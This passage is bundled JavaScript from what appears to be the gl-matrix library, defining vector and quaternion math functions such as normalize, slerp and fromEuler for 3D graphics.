rotateZ$2, angle: angle$1, zero: zero$2, str: str$4, exactEquals: exactEquals$4, equals: equals$4, sub: sub$2, mul: mul$4, div: div$2, dist: dist$2, sqrDist: sqrDist$2, len: len$4, sqrLen: sqrLen$4, forEach: forEach$2 }); /** * 4 Dimensional Vector * @module vec4 */ /** * Creates a new, empty vec4 * * @returns {vec4} a new 4D vector */ function create$3() { var out = new ARRAY_TYPE(4); if (ARRAY_TYPE != Float32Array) { out[0] = 0; out[1] = 0; out[2] = 0; out[3] = 0; } return out; } /** * Creates a new vec4 initialized with values from an existing vector * * @param {ReadonlyVec4} a vector to clone * @returns {vec4} a new 4D vector */ function clone$3(a) { var out = new ARRAY_TYPE(4); out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; return out; } /** * Creates a new vec4 initialized with the given values * * @param {Number} x X component * @param {Number} y Y component * @param {Number} z Z component * @param {Number} w W component * @returns {vec4} a new 4D vector */ function fromValues$3(x, y, z, w) { var out = new ARRAY_TYPE(4); out[0] = x; out[1] = y; out[2] = z; out[3] = w; return out; } /** * Copy the values from one vec4 to another * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the source vector * @returns {vec4} out */ function copy$3(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; out[3] = a[3]; return out; } /** * Set the components of a vec4 to the given values * * @param {vec4} out the receiving vector * @param {Number} x X component * @param {Number} y Y component * @param {Number} z Z component * @param {Number} w W component * @returns {vec4} out */ function set$3(out, x, y, z, w) { out[0] = x; out[1] = y; out[2] = z; out[3] = w; return out; } /** * Adds two vec4's * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {vec4} out */ function add$3(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; out[2] = a[2] + b[2]; out[3] = a[3] + b[3]; return out; } /** * Subtracts vector b from vector a * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {vec4} out */ function subtract$1(out, a, b) { out[0] = a[0] - b[0]; out[1] = a[1] - b[1]; out[2] = a[2] - b[2]; out[3] = a[3] - b[3]; return out; } /** * Multiplies two vec4's * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {vec4} out */ function multiply$3(out, a, b) { out[0] = a[0] * b[0]; out[1] = a[1] * b[1]; out[2] = a[2] * b[2]; out[3] = a[3] * b[3]; return out; } /** * Divides two vec4's * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {vec4} out */ function divide$1(out, a, b) { out[0] = a[0] / b[0]; out[1] = a[1] / b[1]; out[2] = a[2] / b[2]; out[3] = a[3] / b[3]; return out; } /** * Math.ceil the components of a vec4 * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a vector to ceil * @returns {vec4} out */ function ceil$1(out, a) { out[0] = Math.ceil(a[0]); out[1] = Math.ceil(a[1]); out[2] = Math.ceil(a[2]); out[3] = Math.ceil(a[3]); return out; } /** * Math.floor the components of a vec4 * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a vector to floor * @returns {vec4} out */ function floor$1(out, a) { out[0] = Math.floor(a[0]); out[1] = Math.floor(a[1]); out[2] = Math.floor(a[2]); out[3] = Math.floor(a[3]); return out; } /** * Returns the minimum of two vec4's * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {vec4} out */ function min$1(out, a, b) { out[0] = Math.min(a[0], b[0]); out[1] = Math.min(a[1], b[1]); out[2] = Math.min(a[2], b[2]); out[3] = Math.min(a[3], b[3]); return out; } /** * Returns the maximum of two vec4's * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {vec4} out */ function max$1(out, a, b) { out[0] = Math.max(a[0], b[0]); out[1] = Math.max(a[1], b[1]); out[2] = Math.max(a[2], b[2]); out[3] = Math.max(a[3], b[3]); return out; } /** * Math.round the components of a vec4 * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a vector to round * @returns {vec4} out */ function round$1(out, a) { out[0] = Math.round(a[0]); out[1] = Math.round(a[1]); out[2] = Math.round(a[2]); out[3] = Math.round(a[3]); return out; } /** * Scales a vec4 by a scalar number * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the vector to scale * @param {Number} b amount to scale the vector by * @returns {vec4} out */ function scale$3(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; out[2] = a[2] * b; out[3] = a[3] * b; return out; } /** * Adds two vec4's after scaling the second operand by a scalar value * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @param {Number} scale the amount to scale b by before adding * @returns {vec4} out */ function scaleAndAdd$1(out, a, b, scale) { out[0] = a[0] + b[0] * scale; out[1] = a[1] + b[1] * scale; out[2] = a[2] + b[2] * scale; out[3] = a[3] + b[3] * scale; return out; } /** * Calculates the euclidian distance between two vec4's * * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {Number} distance between a and b */ function distance$1(a, b) { var x = b[0] - a[0]; var y = b[1] - a[1]; var z = b[2] - a[2]; var w = b[3] - a[3]; return Math.hypot(x, y, z, w); } /** * Calculates the squared euclidian distance between two vec4's * * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {Number} squared distance between a and b */ function squaredDistance$1(a, b) { var x = b[0] - a[0]; var y = b[1] - a[1]; var z = b[2] - a[2]; var w = b[3] - a[3]; return x * x + y * y + z * z + w * w; } /** * Calculates the length of a vec4 * * @param {ReadonlyVec4} a vector to calculate length of * @returns {Number} length of a */ function length$3(a) { var x = a[0]; var y = a[1]; var z = a[2]; var w = a[3]; return Math.hypot(x, y, z, w); } /** * Calculates the squared length of a vec4 * * @param {ReadonlyVec4} a vector to calculate squared length of * @returns {Number} squared length of a */ function squaredLength$3(a) { var x = a[0]; var y = a[1]; var z = a[2]; var w = a[3]; return x * x + y * y + z * z + w * w; } /** * Negates the components of a vec4 * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a vector to negate * @returns {vec4} out */ function negate$1(out, a) { out[0] = -a[0]; out[1] = -a[1]; out[2] = -a[2]; out[3] = -a[3]; return out; } /** * Returns the inverse of the components of a vec4 * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a vector to invert * @returns {vec4} out */ function inverse$1(out, a) { out[0] = 1.0 / a[0]; out[1] = 1.0 / a[1]; out[2] = 1.0 / a[2]; out[3] = 1.0 / a[3]; return out; } /** * Normalize a vec4 * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a vector to normalize * @returns {vec4} out */ function normalize$3(out, a) { var x = a[0]; var y = a[1]; var z = a[2]; var w = a[3]; var len = x * x + y * y + z * z + w * w; if (len > 0) { len = 1 / Math.sqrt(len); } out[0] = x * len; out[1] = y * len; out[2] = z * len; out[3] = w * len; return out; } /** * Calculates the dot product of two vec4's * * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @returns {Number} dot product of a and b */ function dot$3(a, b) { return a[0] * b[0] + a[1] * b[1] + a[2] * b[2] + a[3] * b[3]; } /** * Returns the cross-product of three vectors in a 4-dimensional space * * @param {ReadonlyVec4} result the receiving vector * @param {ReadonlyVec4} U the first vector * @param {ReadonlyVec4} V the second vector * @param {ReadonlyVec4} W the third vector * @returns {vec4} result */ function cross$1(out, u, v, w) { var A = v[0] * w[1] - v[1] * w[0], B = v[0] * w[2] - v[2] * w[0], C = v[0] * w[3] - v[3] * w[0], D = v[1] * w[2] - v[2] * w[1], E = v[1] * w[3] - v[3] * w[1], F = v[2] * w[3] - v[3] * w[2]; var G = u[0]; var H = u[1]; var I = u[2]; var J = u[3]; out[0] = H * F - I * E + J * D; out[1] = -(G * F) + I * C - J * B; out[2] = G * E - H * C + J * A; out[3] = -(G * D) + H * B - I * A; return out; } /** * Performs a linear interpolation between two vec4's * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the first operand * @param {ReadonlyVec4} b the second operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {vec4} out */ function lerp$3(out, a, b, t) { var ax = a[0]; var ay = a[1]; var az = a[2]; var aw = a[3]; out[0] = ax + t * (b[0] - ax); out[1] = ay + t * (b[1] - ay); out[2] = az + t * (b[2] - az); out[3] = aw + t * (b[3] - aw); return out; } /** * Generates a random vector with the given scale * * @param {vec4} out the receiving vector * @param {Number} [scale] Length of the resulting vector. If omitted, a unit vector will be returned * @returns {vec4} out */ function random$2(out, scale) { scale = scale === undefined ? 1.0 : scale; // Marsaglia, George. Choosing a Point from the Surface of a // Sphere. Ann. Math. Statist. 43 (1972), no. 2, 645--646. // path_to_url var v1, v2, v3, v4; var s1, s2; do { v1 = RANDOM() * 2 - 1; v2 = RANDOM() * 2 - 1; s1 = v1 * v1 + v2 * v2; } while (s1 >= 1); do { v3 = RANDOM() * 2 - 1; v4 = RANDOM() * 2 - 1; s2 = v3 * v3 + v4 * v4; } while (s2 >= 1); var d = Math.sqrt((1 - s1) / s2); out[0] = scale * v1; out[1] = scale * v2; out[2] = scale * v3 * d; out[3] = scale * v4 * d; return out; } /** * Transforms the vec4 with a mat4. * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the vector to transform * @param {ReadonlyMat4} m matrix to transform with * @returns {vec4} out */ function transformMat4$1(out, a, m) { var x = a[0], y = a[1], z = a[2], w = a[3]; out[0] = m[0] * x + m[4] * y + m[8] * z + m[12] * w; out[1] = m[1] * x + m[5] * y + m[9] * z + m[13] * w; out[2] = m[2] * x + m[6] * y + m[10] * z + m[14] * w; out[3] = m[3] * x + m[7] * y + m[11] * z + m[15] * w; return out; } /** * Transforms the vec4 with a quat * * @param {vec4} out the receiving vector * @param {ReadonlyVec4} a the vector to transform * @param {ReadonlyQuat} q quaternion to transform with * @returns {vec4} out */ function transformQuat(out, a, q) { var x = a[0], y = a[1], z = a[2]; var qx = q[0], qy = q[1], qz = q[2], qw = q[3]; // calculate quat * vec var ix = qw * x + qy * z - qz * y; var iy = qw * y + qz * x - qx * z; var iz = qw * z + qx * y - qy * x; var iw = -qx * x - qy * y - qz * z; // calculate result * inverse quat out[0] = ix * qw + iw * -qx + iy * -qz - iz * -qy; out[1] = iy * qw + iw * -qy + iz * -qx - ix * -qz; out[2] = iz * qw + iw * -qz + ix * -qy - iy * -qx; out[3] = a[3]; return out; } /** * Set the components of a vec4 to zero * * @param {vec4} out the receiving vector * @returns {vec4} out */ function zero$1(out) { out[0] = 0.0; out[1] = 0.0; out[2] = 0.0; out[3] = 0.0; return out; } /** * Returns a string representation of a vector * * @param {ReadonlyVec4} a vector to represent as a string * @returns {String} string representation of the vector */ function str$3(a) { return "vec4(" + a[0] + ", " + a[1] + ", " + a[2] + ", " + a[3] + ")"; } /** * Returns whether or not the vectors have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyVec4} a The first vector. * @param {ReadonlyVec4} b The second vector. * @returns {Boolean} True if the vectors are equal, false otherwise. */ function exactEquals$3(a, b) { return a[0] === b[0] && a[1] === b[1] && a[2] === b[2] && a[3] === b[3]; } /** * Returns whether or not the vectors have approximately the same elements in the same position. * * @param {ReadonlyVec4} a The first vector. * @param {ReadonlyVec4} b The second vector. * @returns {Boolean} True if the vectors are equal, false otherwise. */ function equals$3(a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)) && Math.abs(a2 - b2) <= EPSILON * Math.max(1.0, Math.abs(a2), Math.abs(b2)) && Math.abs(a3 - b3) <= EPSILON * Math.max(1.0, Math.abs(a3), Math.abs(b3)); } /** * Alias for {@link vec4.subtract} * @function */ var sub$1 = subtract$1; /** * Alias for {@link vec4.multiply} * @function */ var mul$3 = multiply$3; /** * Alias for {@link vec4.divide} * @function */ var div$1 = divide$1; /** * Alias for {@link vec4.distance} * @function */ var dist$1 = distance$1; /** * Alias for {@link vec4.squaredDistance} * @function */ var sqrDist$1 = squaredDistance$1; /** * Alias for {@link vec4.length} * @function */ var len$3 = length$3; /** * Alias for {@link vec4.squaredLength} * @function */ var sqrLen$3 = squaredLength$3; /** * Perform some operation over an array of vec4s. * * @param {Array} a the array of vectors to iterate over * @param {Number} stride Number of elements between the start of each vec4. If 0 assumes tightly packed * @param {Number} offset Number of elements to skip at the beginning of the array * @param {Number} count Number of vec4s to iterate over. If 0 iterates over entire array * @param {Function} fn Function to call for each vector in the array * @param {Object} [arg] additional argument to pass to fn * @returns {Array} a * @function */ var forEach$1 = function () { var vec = create$3(); return function (a, stride, offset, count, fn, arg) { var i, l; if (!stride) { stride = 4; } if (!offset) { offset = 0; } if (count) { l = Math.min(count * stride + offset, a.length); } else { l = a.length; } for (i = offset; i < l; i += stride) { vec[0] = a[i]; vec[1] = a[i + 1]; vec[2] = a[i + 2]; vec[3] = a[i + 3]; fn(vec, vec, arg); a[i] = vec[0]; a[i + 1] = vec[1]; a[i + 2] = vec[2]; a[i + 3] = vec[3]; } return a; }; }(); var vec4 = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$3, clone: clone$3, fromValues: fromValues$3, copy: copy$3, set: set$3, add: add$3, subtract: subtract$1, multiply: multiply$3, divide: divide$1, ceil: ceil$1, floor: floor$1, min: min$1, max: max$1, round: round$1, scale: scale$3, scaleAndAdd: scaleAndAdd$1, distance: distance$1, squaredDistance: squaredDistance$1, length: length$3, squaredLength: squaredLength$3, negate: negate$1, inverse: inverse$1, normalize: normalize$3, dot: dot$3, cross: cross$1, lerp: lerp$3, random: random$2, transformMat4: transformMat4$1, transformQuat: transformQuat, zero: zero$1, str: str$3, exactEquals: exactEquals$3, equals: equals$3, sub: sub$1, mul: mul$3, div: div$1, dist: dist$1, sqrDist: sqrDist$1, len: len$3, sqrLen: sqrLen$3, forEach: forEach$1 }); /** * Quaternion in the format XYZW * @module quat */ /** * Creates a new identity quat * * @returns {quat} a new quaternion */ function create$2() { var out = new ARRAY_TYPE(4); if (ARRAY_TYPE != Float32Array) { out[0] = 0; out[1] = 0; out[2] = 0; } out[3] = 1; return out; } /** * Set a quat to the identity quaternion * * @param {quat} out the receiving quaternion * @returns {quat} out */ function identity$1(out) { out[0] = 0; out[1] = 0; out[2] = 0; out[3] = 1; return out; } /** * Sets a quat from the given angle and rotation axis, * then returns it. * * @param {quat} out the receiving quaternion * @param {ReadonlyVec3} axis the axis around which to rotate * @param {Number} rad the angle in radians * @returns {quat} out **/ function setAxisAngle(out, axis, rad) { rad = rad * 0.5; var s = Math.sin(rad); out[0] = s * axis[0]; out[1] = s * axis[1]; out[2] = s * axis[2]; out[3] = Math.cos(rad); return out; } /** * Gets the rotation axis and angle for a given * quaternion. If a quaternion is created with * setAxisAngle, this method will return the same * values as providied in the original parameter list * OR functionally equivalent values. * Example: The quaternion formed by axis [0, 0, 1] and * angle -90 is the same as the quaternion formed by * [0, 0, 1] and 270. This method favors the latter. * @param {vec3} out_axis Vector receiving the axis of rotation * @param {ReadonlyQuat} q Quaternion to be decomposed * @return {Number} Angle, in radians, of the rotation */ function getAxisAngle(out_axis, q) { var rad = Math.acos(q[3]) * 2.0; var s = Math.sin(rad / 2.0); if (s > EPSILON) { out_axis[0] = q[0] / s; out_axis[1] = q[1] / s; out_axis[2] = q[2] / s; } else { // If s is zero, return any axis (no rotation - axis does not matter) out_axis[0] = 1; out_axis[1] = 0; out_axis[2] = 0; } return rad; } /** * Gets the angular distance between two unit quaternions * * @param {ReadonlyQuat} a Origin unit quaternion * @param {ReadonlyQuat} b Destination unit quaternion * @return {Number} Angle, in radians, between the two quaternions */ function getAngle(a, b) { var dotproduct = dot$2(a, b); return Math.acos(2 * dotproduct * dotproduct - 1); } /** * Multiplies two quat's * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a the first operand * @param {ReadonlyQuat} b the second operand * @returns {quat} out */ function multiply$2(out, a, b) { var ax = a[0], ay = a[1], az = a[2], aw = a[3]; var bx = b[0], by = b[1], bz = b[2], bw = b[3]; out[0] = ax * bw + aw * bx + ay * bz - az * by; out[1] = ay * bw + aw * by + az * bx - ax * bz; out[2] = az * bw + aw * bz + ax * by - ay * bx; out[3] = aw * bw - ax * bx - ay * by - az * bz; return out; } /** * Rotates a quaternion by the given angle about the X axis * * @param {quat} out quat receiving operation result * @param {ReadonlyQuat} a quat to rotate * @param {number} rad angle (in radians) to rotate * @returns {quat} out */ function rotateX$1(out, a, rad) { rad *= 0.5; var ax = a[0], ay = a[1], az = a[2], aw = a[3]; var bx = Math.sin(rad), bw = Math.cos(rad); out[0] = ax * bw + aw * bx; out[1] = ay * bw + az * bx; out[2] = az * bw - ay * bx; out[3] = aw * bw - ax * bx; return out; } /** * Rotates a quaternion by the given angle about the Y axis * * @param {quat} out quat receiving operation result * @param {ReadonlyQuat} a quat to rotate * @param {number} rad angle (in radians) to rotate * @returns {quat} out */ function rotateY$1(out, a, rad) { rad *= 0.5; var ax = a[0], ay = a[1], az = a[2], aw = a[3]; var by = Math.sin(rad), bw = Math.cos(rad); out[0] = ax * bw - az * by; out[1] = ay * bw + aw * by; out[2] = az * bw + ax * by; out[3] = aw * bw - ay * by; return out; } /** * Rotates a quaternion by the given angle about the Z axis * * @param {quat} out quat receiving operation result * @param {ReadonlyQuat} a quat to rotate * @param {number} rad angle (in radians) to rotate * @returns {quat} out */ function rotateZ$1(out, a, rad) { rad *= 0.5; var ax = a[0], ay = a[1], az = a[2], aw = a[3]; var bz = Math.sin(rad), bw = Math.cos(rad); out[0] = ax * bw + ay * bz; out[1] = ay * bw - ax * bz; out[2] = az * bw + aw * bz; out[3] = aw * bw - az * bz; return out; } /** * Calculates the W component of a quat from the X, Y, and Z components. * Assumes that quaternion is 1 unit in length. * Any existing W component will be ignored. * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a quat to calculate W component of * @returns {quat} out */ function calculateW(out, a) { var x = a[0], y = a[1], z = a[2]; out[0] = x; out[1] = y; out[2] = z; out[3] = Math.sqrt(Math.abs(1.0 - x * x - y * y - z * z)); return out; } /** * Calculate the exponential of a unit quaternion. * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a quat to calculate the exponential of * @returns {quat} out */ function exp(out, a) { var x = a[0], y = a[1], z = a[2], w = a[3]; var r = Math.sqrt(x * x + y * y + z * z); var et = Math.exp(w); var s = r > 0 ? et * Math.sin(r) / r : 0; out[0] = x * s; out[1] = y * s; out[2] = z * s; out[3] = et * Math.cos(r); return out; } /** * Calculate the natural logarithm of a unit quaternion. * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a quat to calculate the exponential of * @returns {quat} out */ function ln(out, a) { var x = a[0], y = a[1], z = a[2], w = a[3]; var r = Math.sqrt(x * x + y * y + z * z); var t = r > 0 ? Math.atan2(r, w) / r : 0; out[0] = x * t; out[1] = y * t; out[2] = z * t; out[3] = 0.5 * Math.log(x * x + y * y + z * z + w * w); return out; } /** * Calculate the scalar power of a unit quaternion. * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a quat to calculate the exponential of * @param {Number} b amount to scale the quaternion by * @returns {quat} out */ function pow(out, a, b) { ln(out, a); scale$2(out, out, b); exp(out, out); return out; } /** * Performs a spherical linear interpolation between two quat * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a the first operand * @param {ReadonlyQuat} b the second operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {quat} out */ function slerp(out, a, b, t) { // benchmarks: // path_to_url var ax = a[0], ay = a[1], az = a[2], aw = a[3]; var bx = b[0], by = b[1], bz = b[2], bw = b[3]; var omega, cosom, sinom, scale0, scale1; // calc cosine cosom = ax * bx + ay * by + az * bz + aw * bw; // adjust signs (if necessary) if (cosom < 0.0) { cosom = -cosom; bx = -bx; by = -by; bz = -bz; bw = -bw; } // calculate coefficients if (1.0 - cosom > EPSILON) { // standard case (slerp) omega = Math.acos(cosom); sinom = Math.sin(omega); scale0 = Math.sin((1.0 - t) * omega) / sinom; scale1 = Math.sin(t * omega) / sinom; } else { // "from" and "to" quaternions are very close // ... so we can do a linear interpolation scale0 = 1.0 - t; scale1 = t; } // calculate final values out[0] = scale0 * ax + scale1 * bx; out[1] = scale0 * ay + scale1 * by; out[2] = scale0 * az + scale1 * bz; out[3] = scale0 * aw + scale1 * bw; return out; } /** * Generates a random unit quaternion * * @param {quat} out the receiving quaternion * @returns {quat} out */ function random$1(out) { // Implementation of path_to_url // TODO: Calling random 3 times is probably not the fastest solution var u1 = RANDOM(); var u2 = RANDOM(); var u3 = RANDOM(); var sqrt1MinusU1 = Math.sqrt(1 - u1); var sqrtU1 = Math.sqrt(u1); out[0] = sqrt1MinusU1 * Math.sin(2.0 * Math.PI * u2); out[1] = sqrt1MinusU1 * Math.cos(2.0 * Math.PI * u2); out[2] = sqrtU1 * Math.sin(2.0 * Math.PI * u3); out[3] = sqrtU1 * Math.cos(2.0 * Math.PI * u3); return out; } /** * Calculates the inverse of a quat * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a quat to calculate inverse of * @returns {quat} out */ function invert$1(out, a) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; var dot = a0 * a0 + a1 * a1 + a2 * a2 + a3 * a3; var invDot = dot ? 1.0 / dot : 0; // TODO: Would be faster to return [0,0,0,0] immediately if dot == 0 out[0] = -a0 * invDot; out[1] = -a1 * invDot; out[2] = -a2 * invDot; out[3] = a3 * invDot; return out; } /** * Calculates the conjugate of a quat * If the quaternion is normalized, this function is faster than quat.inverse and produces the same result. * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a quat to calculate conjugate of * @returns {quat} out */ function conjugate$1(out, a) { out[0] = -a[0]; out[1] = -a[1]; out[2] = -a[2]; out[3] = a[3]; return out; } /** * Creates a quaternion from the given 3x3 rotation matrix. * * NOTE: The resultant quaternion is not normalized, so you should be sure * to renormalize the quaternion yourself where necessary. * * @param {quat} out the receiving quaternion * @param {ReadonlyMat3} m rotation matrix * @returns {quat} out * @function */ function fromMat3(out, m) { // Algorithm in Ken Shoemake's article in 1987 SIGGRAPH course notes // article "Quaternion Calculus and Fast Animation". var fTrace = m[0] + m[4] + m[8]; var fRoot; if (fTrace > 0.0) { // |w| > 1/2, may as well choose w > 1/2 fRoot = Math.sqrt(fTrace + 1.0); // 2w out[3] = 0.5 * fRoot; fRoot = 0.5 / fRoot; // 1/(4w) out[0] = (m[5] - m[7]) * fRoot; out[1] = (m[6] - m[2]) * fRoot; out[2] = (m[1] - m[3]) * fRoot; } else { // |w| <= 1/2 var i = 0; if (m[4] > m[0]) i = 1; if (m[8] > m[i * 3 + i]) i = 2; var j = (i + 1) % 3; var k = (i + 2) % 3; fRoot = Math.sqrt(m[i * 3 + i] - m[j * 3 + j] - m[k * 3 + k] + 1.0); out[i] = 0.5 * fRoot; fRoot = 0.5 / fRoot; out[3] = (m[j * 3 + k] - m[k * 3 + j]) * fRoot; out[j] = (m[j * 3 + i] + m[i * 3 + j]) * fRoot; out[k] = (m[k * 3 + i] + m[i * 3 + k]) * fRoot; } return out; } /** * Creates a quaternion from the given euler angle x, y, z using the provided intrinsic order for the conversion. * * @param {quat} out the receiving quaternion * @param {x} x Angle to rotate around X axis in degrees. * @param {y} y Angle to rotate around Y axis in degrees. * @param {z} z Angle to rotate around Z axis in degrees. * @param {'zyx'|'xyz'|'yxz'|'yzx'|'zxy'|'zyx'} order Intrinsic order for conversion, default is zyx. * @returns {quat} out * @function */ function fromEuler(out, x, y, z) { var order = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : ANGLE_ORDER; var halfToRad = Math.PI / 360; x *= halfToRad; z *= halfToRad; y *= halfToRad; var sx = Math.sin(x); var cx = Math.cos(x); var sy = Math.sin(y); var cy = Math.cos(y); var sz = Math.sin(z); var cz = Math.cos(z); switch (order) { case "xyz": out[0] = sx * cy * cz + cx * sy * sz; out[1] = cx * sy * cz - sx * cy * sz; out[2] = cx * cy * sz + sx * sy * cz; out[3] = cx * cy * cz - sx * sy * sz; break; case "xzy": out[0] = sx * cy * cz - cx * sy * sz; out[1] = cx * sy * cz - sx * cy * sz; out[2] = cx * cy * sz + sx * sy * cz; out[3] = cx * cy * cz + sx * sy * sz; break; case "yxz": out[0] = sx * cy * cz + cx * sy * sz; out[1] = cx * sy * cz - sx * cy * sz; out[2] = cx * cy * sz - sx * sy * cz; out[3] = cx * cy * cz + sx * sy * sz; break; case "yzx": out[0] = sx * cy * cz + cx * sy * sz; out[1] = cx * sy * cz + sx * cy * sz; out[2] = cx * cy * sz - sx * sy * cz; out[3] = cx * cy * cz - sx * sy * sz; break; case "zxy": out[0] = sx * cy * cz - cx * sy * sz; out[1] = cx * sy * cz + sx * cy * sz; out[2] = cx * cy * sz + sx * sy * cz; out[3] = cx * cy * cz - sx * sy * sz; break; case "zyx": out[0] = sx * cy * cz - cx * sy * sz; out[1] = cx * sy * cz + sx * cy * sz; out[2] = cx * cy * sz - sx * sy * cz; out[3] = cx * cy * cz + sx * sy * sz; break; default: throw new Error('Unknown angle order ' + order); } return out; } /** * Returns a string representation of a quaternion * * @param {ReadonlyQuat} a vector to represent as a string * @returns {String} string representation of the vector */ function str$2(a) { return "quat(" + a[0] + ", " + a[1] + ", " + a[2] + ", " + a[3] + ")"; } /** * Creates a new quat initialized with values from an existing quaternion * * @param {ReadonlyQuat} a quaternion to clone * @returns {quat} a new quaternion * @function */ var clone$2 = clone$3; /** * Creates a new quat initialized with the given values * * @param {Number} x X component * @param {Number} y Y component * @param {Number} z Z component * @param {Number} w W component * @returns {quat} a new quaternion * @function */ var fromValues$2 = fromValues$3; /** * Copy the values from one quat to another * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a the source quaternion * @returns {quat} out * @function */ var copy$2 = copy$3; /** * Set the components of a quat to the given values * * @param {quat} out the receiving quaternion * @param {Number} x X component * @param {Number} y Y component * @param {Number} z Z component * @param {Number} w W component * @returns {quat} out * @function */ var set$2 = set$3; /** * Adds two quat's * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a the first operand * @param {ReadonlyQuat} b the second operand * @returns {quat} out * @function */ var add$2 = add$3; /** * Alias for {@link quat.multiply} * @function */ var mul$2 = multiply$2; /** * Scales a quat by a scalar number * * @param {quat} out the receiving vector * @param {ReadonlyQuat} a the vector to scale * @param {Number} b amount to scale the vector by * @returns {quat} out * @function */ var scale$2 = scale$3; /** * Calculates the dot product of two quat's * * @param {ReadonlyQuat} a the first operand * @param {ReadonlyQuat} b the second operand * @returns {Number} dot product of a and b * @function */ var dot$2 = dot$3; /** * Performs a linear interpolation between two quat's * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a the first operand * @param {ReadonlyQuat} b the second operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {quat} out * @function */ var lerp$2 = lerp$3; /** * Calculates the length of a quat * * @param {ReadonlyQuat} a vector to calculate length of * @returns {Number} length of a */ var length$2 = length$3; /** * Alias for {@link quat.length} * @function */ var len$2 = length$2; /** * Calculates the squared length of a quat * * @param {ReadonlyQuat} a vector to calculate squared length of * @returns {Number} squared length of a * @function */ var squaredLength$2 = squaredLength$3; /** * Alias for {@link quat.squaredLength} * @function */ var sqrLen$2 = squaredLength$2; /** * Normalize a quat * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a quaternion to normalize * @returns {quat} out * @function */ var normalize$2 = normalize$3; /** * Returns whether or not the quaternions have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyQuat} a The first quaternion. * @param {ReadonlyQuat} b The second quaternion. * @returns {Boolean} True if the vectors are equal, false otherwise. */ var exactEquals$2 = exactEquals$3; /** * Returns whether or not the quaternions point approximately to the same direction. * * Both quaternions are assumed to be unit length. * * @param {ReadonlyQuat} a The first unit quaternion. * @param {ReadonlyQuat} b The second unit quaternion. * @returns {Boolean} True if the quaternions are equal, false otherwise. */ function equals$2(a, b) { return Math.abs(dot$3(a, b)) >= 1 - EPSILON; } /** * Sets a quaternion to represent the shortest rotation from one * vector to another. * * Both vectors are assumed to be unit length. * * @param {quat} out the receiving quaternion. * @param {ReadonlyVec3} a the initial vector * @param {ReadonlyVec3} b the destination vector * @returns {quat} out */ var rotationTo = function () { var tmpvec3 = create$4(); var xUnitVec3 = fromValues$4(1, 0, 0); var yUnitVec3 = fromValues$4(0, 1, 0); return function (out, a, b) { var dot = dot$4(a, b); if (dot < -0.999999) { cross$2(tmpvec3, xUnitVec3, a); if (len$4(tmpvec3) < 0.000001) cross$2(tmpvec3, yUnitVec3, a); normalize$4(tmpvec3, tmpvec3); setAxisAngle(out, tmpvec3, Math.PI); return out; } else if (dot > 0.999999) { out[0] = 0; out[1] = 0; out[2] = 0; out[3] = 1; return out; } else { cross$2(tmpvec3, a, b); out[0] = tmpvec3[0]; out[1] = tmpvec3[1]; out[2] = tmpvec3[2]; out[3] = 1 + dot; return normalize$2(out, out); } }; }(); /** * Performs a spherical linear interpolation with two control points * * @param {quat} out the receiving quaternion * @param {ReadonlyQuat} a the first operand * @param {ReadonlyQuat} b the second operand * @param {ReadonlyQuat} c the third operand * @param {ReadonlyQuat} d the fourth operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {quat} out */ var sqlerp = function () { var temp1 = create$2(); var temp2 = create$2(); return function (out, a, b, c, d, t) { slerp(temp1, a, d, t); 